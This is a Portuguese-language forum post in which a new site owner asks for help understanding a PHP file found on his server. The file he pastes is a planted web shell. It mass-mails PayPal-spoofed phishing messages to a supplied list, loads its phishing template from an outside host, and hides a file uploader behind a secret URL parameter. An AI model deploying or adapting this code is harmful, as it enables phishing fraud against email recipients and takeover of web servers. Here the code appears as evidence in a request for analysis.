Preciso decifrar este codigo
Ola
Encontrei este arquivo dentro de meu servidor no meu sitre e como sou novo na are nao sei pra que serve ou porque foi colocado la , preciso de ajuda:
Podem me ajudar por favor ?
<?php
date_default_timezone_set("America/Los_Angeles");
ignore_user_abort();
set_time_limit(0);
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['subject'];
$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$email = explode("\n", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$dataHora = date("d/m/Y h:i:s");
$oldphpself = $_SERVER['PHP_SELF'];
$oldremoteaddr = $_SERVER['REMOTE_ADDR'];
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = $_SERVER['SERVER_ADDR'];
$EmailTemporario = $email[$i];
$message = stripslashes($message);
$msgx = str_replace("%email%", $EmailTemporario, $message);
$headers = "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: PayPal <".$EmailTemporario.">\r\n";
if(mail($EmailTemporario, $subject, $msgx, $headers))
echo "<div style='font-size:13px;font-family:monospace'><center><font color=blue>Send Emails : $count <b> [ ".$email[$i]."] </b> <font color=green> ~ Done</font><br>";else
echo "<div style='font-size:13px;font-family:monospace'><center><font color=blue>Send Emails : $count <b> [ ".$email[$i]."] </b> <font color=red> ~ Error</font><br>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "Successfully done";
}
$lettre = file_get_contents('http://asiel.in/admin/css/new.css');
?>
<HTML>
<head>
<title>Th3 70XI | By Toxica DZ</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>body {
background-color: #000000;
background-image: url('http://im80.gulfup.com/kByJIJ.jpg');
background-attachment: fixed;
background-position: center;
background-repeat: repeat-x;color:#fff
margin-left: 0;
margin-right: 0;
margin-top: 0;
margin-bottom: 0;
}
.title {
font-family: Arial, Helvetica, sans-serif;
font-size: 70px;
color: #2ecc71;
font-weight: bold;
}
.normal {
font-family: "Courier New", Courier, monospace;
font-size: 16px;
color: #34495e;
}
.form {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
color: #2ecc71;
background-color: #0000FF;
border: 1px dashed #666666;
}
.texto {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
}
.note {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #000;
font-size: 10px;
}.normal tr td p strong {
font-size: 24px;
}
#subject {
text-align:center;
}
#btn {
font-family:Arial,sans-serif;
font-weight:bold;
font-stretch:normal;
text-align:center;
color:#ffffff;
font-size:13px;
background:#009CDE;
border-radius:7px !important;
-webkit-border-radius: 7px !important;
-moz-border-radius: 7px !important;
-o-border-radius: 7px !important;
-ms-border-radius: 7px !important;
font-size:13px; line-height:30px;
}
</style>
</head>
<BODY>
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim">
<table width="800" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
<tr>
<td width="509" height="46" align="center" bgcolor="#282828"><p><strong>Th3 70XI | By Toxica DZ</strong></p></td>
</tr>
<tr>
<td height="194" valign="top" bgcolor="#FFFFFF">
<table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="499">
<tr>
<td height="17"><input name="subject" value="Account Notification!" type="text" class="normal" id="subject" style="width:100%" ></td>
</tr>
<tr align="right">
<td colspan="2" valign="top"><br>
<textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="normal" id="html"><? echo $lettre; ?></textarea>
</tr>
<tr align="center" bgcolor="#99CCFF">
<td height="47" colspan="2" bgcolor="#282828">Maillist<span class="texto"> </span></td>
</tr>
<tr align="right">
<td colspan="2" valign="top"><br>
<textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="normal" id="emails">70xic4@gmail.com</textarea>
</tr>
<tr>
<td align="center" valign="top" colspan="2"><input type="submit" name="Submit" value="Send Now :P !" id="btn"></td>
</tr>
</center>
</form>
</body>
</html>
<center>
<?php
if ($_GET['Toxica']=='Dz') {
echo '<title>Uploader by Toxica DZ</title>';
echo "<b>".php_uname()."</b>";
echo "<p><br></p>";
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if ($_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo 'Upload ok :D !!';
} else {
echo 'Upload Fail :( !!';
}
}
}
?>Discussão (2)
Carregando comentários...